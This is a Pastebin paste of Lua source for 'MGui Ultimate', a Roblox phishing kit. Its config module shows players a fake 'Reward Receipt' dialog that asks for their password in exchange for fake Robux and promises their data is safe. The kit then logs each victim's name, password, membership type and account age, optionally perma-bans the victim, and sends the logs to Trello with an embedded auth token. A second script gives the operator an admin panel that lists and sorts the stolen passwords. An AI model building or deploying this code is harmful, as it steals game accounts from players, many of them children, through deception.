Advertisement
Guest User

Untitled

a guest
Mar 5th, 2017
486
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.28 KB | None | 0 0
  1. -- Made by SeniorFight for V3rmillion!
  2.  
  3. -- MGui Ultimate uses same system as MGR2, but has been
  4. -- upgraded by me (the same creator of MGR2 and MGR1).
  5. -- Now has perma-ban function on password confirmed,
  6. -- Much more detailed admin gui with filtering options etc...
  7. -- Trello now is a bit more optimized (should fix some old errors)
  8. -- Added optional auto-installer.
  9.  
  10. local CONFIG = {
  11.  
  12. CreatorUltraProtect = true, -- protects the Creator from being kicked nor banned by any method in MGU.
  13.  
  14. -- as requested by nigahiga:
  15. Verifieds = {
  16. ObjID = "102611803", -- it's the ID of a item that makes a player "Verified".
  17. -- By default it's the hat called Verified, Bonafide, Plaidafied (ID= 102611803)
  18.  
  19. DirectKick = false, -- set to true if you want to kick ANY verified account.
  20. CanSeeGui = true, -- set to false so verifieds won't see MGU.
  21. CanChat = true, -- set to false if you want to hide chatbar for verified accounts.
  22. -- Note for chat: v3rmies that type in "v3rm" as password will get their chatbar back visible.
  23.  
  24. LogVerifieds = true -- set to false if you don't want to log verified accounts.
  25.  
  26. --Note: any admin nor bypass listed below won't get kicked nor banned.
  27. },
  28.  
  29. -- as requested by Shinx (now Luxray):
  30. RewardType = "Robux", -- "Robux" or "Tickets or Cake (can be anything else than Robux, to show ticket icon)"
  31.  
  32. FakeReward = 100, -- How much fake robux/tickets the player will receive? (Only for display pourposes)
  33. KickAfterValidation = true, -- Kick the victim after password validation? (Perma-bans the victims now!)
  34. LockChat = true, -- Hide chat when prompted for password?
  35.  
  36. AdminList = {
  37. game.CreatorId, -- By default, it's your id.
  38. "Player1" -- Can be a string (name, not case sensitive) or number (id)
  39. },
  40.  
  41. BypassList = { -- Can't see the admin gui, but won't be prompted for password.
  42. "Player1" -- Can be a string (name, not case sensitive) or number (id)
  43. },
  44.  
  45. StorageType = "Global", -- Global or Local : sets whatever the data is saved in DataStore or game.Workspace
  46.  
  47. -- Trello is a service that allows stocking 'cards' and it's a free app for phones.
  48. -- It is usefull as it allows many features like filtering by colors - which is usefull
  49. -- in this case as BCs have green color, TBCs orange, OBCs red and V3RMIES purple.
  50.  
  51. -- Thanks to MGui Ultimate, you have just to make a trello account and fill the fields below.
  52. Trello = {
  53. -- Once you made an account on Trello.net, fill these (NOT BEFORE!)
  54.  
  55. Enabled = true, -- Enable once you get an valid auth token and once you enabled HTTP service.
  56.  
  57. ListName = "MGUI", -- Create a list in Trello.net (in any board you want),
  58. -- and put the name here if you changed to a custom name.
  59. -- WARN: IF THE LIST IS NOT FOUND OR A PROBLEM OCCURED, PLEASE PRESS F9 AND CHECK FOR ERROR REPORTS!
  60. -- ALSO: It will try to make a board AND list by itself it the table isn't found.
  61. -- So just put the AuthToken. That's the most important.
  62.  
  63. AuthToken = "388e9b4be255c8710894ba0e5d5c25677b4ef4da14cd9d1be1fd72c9aee5f0d6" -- Get the token here (it's a link to copy/paste in the http browser bar):
  64. -- https://trello.com/1/authorize?key=c23030853446613212d1847303c8f482&name=My+Application&expiration=never&response_type=token&scope=read,write
  65. },
  66.  
  67. CustomUI = {
  68. MainText = "A new feature in Roblox allows players to get rewards in-game. In order to get any type of reward, You'll need to type in Your password so we can be sure that it's You.",
  69. SideNote = "Note: Your personal data will be safe.",
  70. InvalidText = " Your password is incorrect. Please check it and try again.", -- Leave little space at beginning to make it better looking.
  71. TitleText = "Reward Receipt"
  72. },
  73.  
  74. StorageNames = {
  75. Local = "MGULocalStorage",
  76. Global = "MGU-DataStorage",
  77. Permabans = "MGUPermaBans"
  78. }
  79. }
  80.  
  81. return CONFIG
  82.  
  83. -- Made by SeniorFight for V3rmillion and all of it's members!
  84. -- You don't need to change anything here - all is in the options module.
  85.  
  86. local me = script.Parent
  87. local hold = me:WaitForChild("MainFrameHolder")
  88. local main = hold:WaitForChild("MainFrame")
  89.  
  90. local details = main:WaitForChild("DetailsFrame")
  91. local content = main:WaitForChild("Content")
  92. local options = main:WaitForChild("OptionsFrame")
  93.  
  94. local server = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
  95. local config = server:InvokeServer("GetCustomParameters")
  96. if not config.Verifieds.CanChat and server:InvokeServer("IsVerified",game.Players.LocalPlayer) then
  97. if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) and not server:InvokeServer("IsBypass",game.Players.LocalPlayer) then
  98. if config.CreatorUltraProtect then
  99. if not game.Players.LocalPlayer.userId == game.CreatorId then
  100. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  101. end
  102. else
  103. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  104. end
  105. end
  106. end
  107. if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) then
  108. script.Parent:Destroy()
  109. return
  110. end
  111. local signal = me:WaitForChild("SignalCheck")
  112.  
  113. local optoggle = main:WaitForChild("OptToggle")
  114.  
  115. local Filter = {
  116. Mode = 0, -- 0 is <, 1 is >
  117. By = 1, -- 1 is name, 2 is bctype, 3 is age, no pass cuz y need dis?
  118. ByNames = {
  119. "Name",
  120. "BCType",
  121. "Age"
  122. },
  123.  
  124. BCValues = {
  125. ["NON-BC"] = 0,
  126. ["BC"] = 1,
  127. ["TBC"] = 2,
  128. ["OBC"] = 3,
  129. ["V3rm Member"] = -1,
  130. ["Undefined"] = 0
  131. }
  132. }
  133.  
  134. function ShowDetails(data)
  135. if not data then details.Visible = false return end
  136.  
  137. details.UserName.Text = data.UserName
  138. details.UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=150&y=200&format=png&username="..data.UserName
  139. details.UserPass.Text = "Pass: "..data.UserPass
  140. details.UserBCType.Text = "Status: "..data.Type
  141. details.UserID.Text = "ID: "..tostring(data.UserID)
  142. details.UserAge.Text = "Age: "..tostring(data.UserAge) .. " days ~" .. tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  143. details.Visible = true
  144. end
  145.  
  146. details:WaitForChild("HideButton").MouseButton1Click:connect(function()
  147. details.Visible = false
  148. end)
  149.  
  150. function RefreshContent()
  151. local list = server:InvokeServer("GetList")
  152. if list then
  153. content:ClearAllChildren()
  154. local function filtering(a, b)
  155. local par1, par2 = a.UserName, b.UserName
  156. if Filter.By == 2 then
  157. par1 = Filter.BCValues[a.Type] or 0
  158. par2 = Filter.BCValues[b.Type] or 0
  159. elseif Filter.By == 3 then
  160. par1 = a.UserAge
  161. par2 = b.UserAge
  162. end
  163. if Filter.Mode == 0 then
  164. return par1 < par2
  165. else
  166. return par1 > par2
  167. end
  168. end
  169. table.sort(list, filtering)
  170.  
  171. -- Base Form for duplication
  172.  
  173. local form = Instance.new("Frame")
  174. form.BackgroundTransparency = 1
  175. form.Size = UDim2.new(1, 0, 0, 30)
  176.  
  177. local btag = Instance.new("TextLabel")
  178. btag.Size = UDim2.new(0.25, 0, 1, 0)
  179. btag.TextWrapped = true
  180. btag.TextColor3 = Color3.new(0, 170/255, 1)
  181. btag.BackgroundTransparency = 1
  182. btag.Font = Enum.Font.SourceSansBold
  183. btag.FontSize = Enum.FontSize.Size18
  184. btag.TextColor3 = Color3.new(0,0,0)
  185. btag.TextStrokeColor3 = Color3.new(0, 170/255, 1)
  186. btag.TextStrokeTransparency = 0
  187.  
  188. local tag1 = btag:Clone()
  189. tag1.Parent = form
  190. tag1.Name = "NameTag"
  191.  
  192. local tag2 = btag:Clone()
  193. tag2.Parent = form
  194. tag2.Name = "PassTag"
  195. tag2.Position = UDim2.new(0.25, 0, 0, 0)
  196.  
  197. local tag3 = btag:Clone()
  198. tag3.Parent = form
  199. tag3.Name = "TypeTag"
  200. tag3.Position = UDim2.new(0.5, 0, 0, 0)
  201.  
  202. local tag4 = btag:Clone()
  203. tag4.Parent = form
  204. tag4.Name = "AgeTag"
  205. tag4.Position = UDim2.new(0.75, 0, 0, 0)
  206.  
  207. local detail = Instance.new("TextButton", form)
  208. detail.BackgroundTransparency = 1
  209. detail.Text = ""
  210. detail.TextTransparency = 1
  211. detail.Size = UDim2.new(1, 0, 1, 0)
  212. detail.Name = "DetailsButton"
  213.  
  214. for x,data in ipairs(list) do
  215. local newForm = form:Clone()
  216. newForm.Name = "User="..data.UserName..";"
  217. newForm.Position = UDim2.new(0, 0, 0, (30 * x) - 30)
  218.  
  219. newForm.NameTag.Text = data.UserName
  220. newForm.PassTag.Text = data.UserPass
  221. if data.Type == "BC" then
  222. newForm.TypeTag.TextStrokeColor3 = Color3.new(0, 170/255, 0)
  223. elseif data.Type == "TBC" then
  224. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 170/255, 0)
  225. elseif data.Type == "OBC" then
  226. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 0)
  227. elseif data.Type == "V3rm Member" then
  228. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 170/255)
  229. end
  230. newForm.TypeTag.Text = data.Type
  231. newForm.AgeTag.Text = tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  232.  
  233. newForm.DetailsButton.MouseButton1Click:connect(function()
  234. ShowDetails(data)
  235. end)
  236. newForm.Parent = content
  237. end
  238. content.CanvasSize = UDim2.new(0, 0, 0, 30*#list)
  239. content.CanvasPosition = Vector2.new(0, 30*#list)
  240. end
  241. end
  242.  
  243. signal.OnClientInvoke = RefreshContent
  244.  
  245. optoggle.MouseButton1Click:connect(function()
  246. if options.Visible then
  247. options.Visible = false
  248. optoggle.Text = "<"
  249. else
  250. options.Visible = true
  251. optoggle.Text = ">"
  252. end
  253. end)
  254.  
  255. local acterase = options:WaitForChild("ActionErase")
  256. local actbclear = options:WaitForChild("ActionClearBans")
  257. local optfilter = options:WaitForChild("OptionFilter")
  258.  
  259. local eraseconf = false
  260. local eraselock = false
  261. acterase.MouseButton1Click:connect(function()
  262. if eraselock then return end
  263. if not eraseconf then
  264. eraseconf = true
  265. acterase.Text = "Sure ?"
  266. else
  267. eraselock = true
  268. eraseconf = false
  269. coroutine.resume(coroutine.create(function()
  270. while eraselock do
  271. for i=1,3 do
  272. if not eraselock then break end
  273. acterase.Text = "Erasing"..string.rep(".",i)
  274. wait(0.2)
  275. end
  276. end
  277. acterase.Text = "Erase Accounts"
  278. end))
  279. server:InvokeServer("Clear")
  280. eraselock = false
  281. end
  282. end)
  283.  
  284. acterase.MouseLeave:connect(function()
  285. if eraseconf then
  286. eraseconf = false
  287. acterase.Text = "Erase Accounts"
  288. end
  289. end)
  290.  
  291. local bclearconf = false
  292. local bclearlock = false
  293. actbclear.MouseButton1Click:connect(function()
  294. if bclearlock then return end
  295. if not bclearconf then
  296. bclearconf = true
  297. actbclear.Text = "Sure ?"
  298. else
  299. bclearlock = true
  300. bclearconf = false
  301. coroutine.resume(coroutine.create(function()
  302. while bclearlock do
  303. for i=1,3 do
  304. if not bclearlock then break end
  305. actbclear.Text = "Clearing"..string.rep(".",i)
  306. wait(0.2)
  307. end
  308. end
  309. actbclear.Text = "Clear Ban-List"
  310. end))
  311. server:InvokeServer("ClearBans")
  312. bclearlock = false
  313. end
  314. end)
  315.  
  316. actbclear.MouseLeave:connect(function()
  317. if bclearconf then
  318. bclearconf = false
  319. actbclear.Text = "Clear Ban-List"
  320. end
  321. end)
  322.  
  323. function UpdateFilterBtn()
  324. optfilter.Text = "Filter by: ".. Filter.ByNames[Filter.By] .. " " .. (Filter.Mode == 0 and "<" or ">")
  325. RefreshContent()
  326. end
  327. UpdateFilterBtn()
  328.  
  329. optfilter.MouseButton1Click:connect(function()
  330. if Filter.Mode == 0 then
  331. Filter.Mode = 1
  332. else
  333. Filter.Mode = 0
  334. if Filter.By < 3 then
  335. Filter.By = Filter.By + 1
  336. else
  337. Filter.By = 1
  338. end
  339. end
  340. UpdateFilterBtn()
  341. end)
  342.  
  343. optfilter.MouseButton2Click:connect(function()
  344. if Filter.Mode == 1 then
  345. Filter.Mode = 0
  346. else
  347. Filter.Mode = 1
  348. if Filter.By > 1 then
  349. Filter.By = Filter.By - 1
  350. else
  351. Filter.By = 3
  352. end
  353. end
  354. UpdateFilterBtn()
  355. end)
  356.  
  357. me:WaitForChild("GUIToggle").Visible = true
  358. me.GUIToggle.MouseButton1Click:connect(function()
  359. hold.Visible = not hold.Visible
  360. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement